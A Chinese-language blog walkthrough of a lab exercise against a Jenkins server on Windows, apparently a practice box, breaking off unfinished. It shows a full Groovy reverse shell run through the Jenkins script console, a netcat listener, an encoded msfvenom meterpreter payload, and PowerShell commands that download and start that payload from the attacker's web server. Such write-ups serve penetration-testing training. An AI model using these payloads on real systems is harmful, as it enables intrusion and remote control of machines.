實戰演練 – hack the Jenkins

利用Jenkins獲得初始shell,然後通過利用Windows身份驗證來升級權限。

Jenkins是一款由Java編寫的開源的持續整合工具。在與Oracle發生爭執後,專案從Hudson專案復刻。 Jenkins提供了軟體開發的持續整合服務。它執行在Servlet容器中。 維基百科

整合Jenkins 來自動做前端效能測試| Summer。桑莫。夏天

使用環境

目標OS: Windows

攻擊OS: Kali

實際演練

Step1. 偵查,已知目標IP為10.10.50.172,利用nmap挖掘port。

nmap -sS 10.10.50.172

目前發現3個port是開的,其中一個肯定是jenkins的port,因為主題就是Jenkins服務嘛!

看看80port的網頁實在不知道Bruce Wayne是誰,查了一下好像跟RIP 蝙蝠俠有關係 …

Step 2. 進到Jenkins的登入頁先試試官方(這裡的官方是Jenkins本身預設的)提供的預設帳號密碼 admin/admin,結果成功。

Step 3. 進去之後 進到 http://10.10.50.172:8080/script,這個一個Script Console,使用Groovy語言,試試看能不能在這邊塞payload。

其實Jenkins就是用java編寫的,而Jenkins除了pipeline語法外也能用Groovy寫。

維基補充,ApacheGroovyJava平台上設計的物件導向程式設計語言。這門動態語言擁有類似PythonRubySmalltalk中的一些特性,可以作為Java平台的手稿語言使用,Groovy代碼動態地編譯成執行於Java虛擬機器(JVM)上的Java位元組碼,並與其他Java代碼和庫進行互操作。

去Github上翻翻Groovy的Reverse Shell。

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#groovy

其中code為

String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

替換好主機跟端口號後,先不要執行,在自己的terminal先建netcat。

nc -lvnp 4444

回過來Jenkins按執行,回到terminal,如果成功的話就連線了。

Step3. 打進來後,要尋找user.txt,我們知道要搜尋檔案的指令是 dir (Linux是find)。

dir /s/p user.txt

Step4 . 這裡我們要提權,改用powershell來做。

先用python快速開一個web server。

python -m http.server

Step5. 利用meterpreter reverse shell產生 payload。

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe

payload 大小73802 bytes

Metasploit設定payload

Step6. 前面幾步已經打到Jenkins的Windows上了,利用powershell指令來下載我們產好的payload。

powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')"

載好後,在Windows上執行。

powershell -c Start-Process "shell-name.exe"

… 暫時先寫在這邊

Back To Top
error: 內容被保護 !!